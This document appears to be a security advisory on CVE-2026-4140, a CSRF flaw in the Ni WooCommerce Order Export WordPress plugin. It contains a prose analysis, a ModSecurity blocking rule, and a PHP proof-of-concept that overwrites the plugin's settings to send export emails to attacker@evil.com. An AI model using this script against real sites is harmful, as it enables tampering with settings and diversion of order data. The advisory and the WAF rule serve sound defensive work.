Atomic Edge analysis of CVE-2026-4140 (metadata-based):
The Ni WooCommerce Order Export plugin for WordPress, up to and including version 3.1.6, contains a Cross-Site Request Forgery (CSRF) vulnerability. The flaw resides in the AJAX handler function ni_order_export_action(), which processes settings updates without verifying a nonce or checking user capabilities. This allows an attacker to trick a site administrator into executing a forged request that modifies plugin settings.
The root cause is a missing nonce check in the ni_order_export_action() AJAX handler. The description confirms that when the ‘page’ parameter is set to ‘nioe-order-settings’, the handler delegates to Ni_Order_Setting::page_ajax(), which calls update_option(‘ni_order_export_option’, $_REQUEST) without any CSRF token validation. Atomic Edge analysis infers from the CWE-352 classification that the developer likely omitted the typical WordPress nonce field (often named ‘_wpnonce’ or passed via the ‘security’ parameter) and the corresponding check using wp_verify_nonce() or check_ajax_referer(). Since no code diff is available, these conclusions are inferred from the CWE and description, not confirmed via source code.
Exploitation requires tricking an authenticated WordPress administrator into visiting a malicious link or page while logged in. The attacker crafts a request to /wp-admin/admin-ajax.php with the ‘action’ parameter set to ‘ni_order_export_action’ and the ‘page’ parameter set to ‘nioe-order-settings’, along with arbitrary settings data in the request body. A simple HTML form can be hosted on an attacker-controlled site and auto-submitted via JavaScript to trigger the CSRF attack. The specific settings that can be modified include any options stored under the ‘ni_order_export_option’ key, which may control export formats, file paths, email recipients, or other plugin behaviors.
Remediation requires implementing a nonce check in the ni_order_export_action() AJAX handler. The plugin should generate a nonce when rendering settings pages and verify it using check_ajax_referer() or wp_verify_nonce() before processing any settings updates. Additionally, a capability check (e.g., current_user_can(‘manage_options’)) should be added to ensure only administrators can modify settings. Without a patched version available, sites should consider disabling or replacing the plugin.
Impact: An unauthenticated attacker can force a site administrator to unknowingly change plugin settings. Depending on the settings available, this could lead to redirection of exported data (e.g., changing email recipients), modification of export file structures, or disabling security-relevant features. The CVSS score of 4.3 (Medium) reflects the low impact due to confidentiality not being affected, but integrity is compromised. There is no direct privilege escalation or remote code execution described, but altered settings could be leveraged in further attacks.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4140 (metadata-based)
# This rule blocks CSRF exploitation of the Ni WooCommerce Order Export plugin by targeting the AJAX handler.
# The rule requires both the AJAX endpoint and the specific action/page parameters to be present.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20264140,phase:2,deny,status:403,chain,msg:'CVE-2026-4140 - Ni WooCommerce Order Export CSRF to Settings Update',severity:'CRITICAL',tag:'CVE-2026-4140',tag:'wordpress',tag:'ni-woocommerce-order-export'"
SecRule ARGS_POST:action "@streq ni_order_export_action" "chain"
SecRule ARGS_POST:page "@streq nioe-order-settings" ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4140 - Ni WooCommerce Order Export <= 3.1.6 - Cross-Site Request Forgery to Settings Update via ni_order_export_action AJAX Action
// This PoC demonstrates a CSRF attack that modifies plugin settings.
// Assumptions:
// 1. The target WordPress site has the vulnerable plugin installed and active.
// 2. An administrator is logged in when the crafted request is sent.
// 3. The plugin's settings are stored under the 'ni_order_export_option' option key.
// 4. The AJAX action is 'ni_order_export_action' and the settings page trigger is 'page=nioe-order-settings'.
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
// Arbitrary settings payload to overwrite plugin options.
// In a real attack, these values would be crafted to achieve a specific objective.
$settings_payload = array(
'page' => 'nioe-order-settings',
'action' => 'ni_order_export_action',
'ni_order_export_option' => array(
'export_format' => 'csv',
'email_recipient' => 'attacker@evil.com',
'enable_logging' => 'no'
)
);
// Initialize cURL session
$ch = curl_init();
// Set the target AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($settings_payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=admin_session_cookie'); // Attacker must provide a valid admin session cookie or use CSRF phishing
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for success (HTTP 200 indicates the request was processed)
if ($response !== false && $http_code == 200) {
echo "PoC: Settings update request sent successfully.n";
echo "If an administrator was tricked into performing this action, the settings have been modified.n";
} else {
echo "PoC: Request failed or was blocked.n";
}
curl_close($ch);
?>
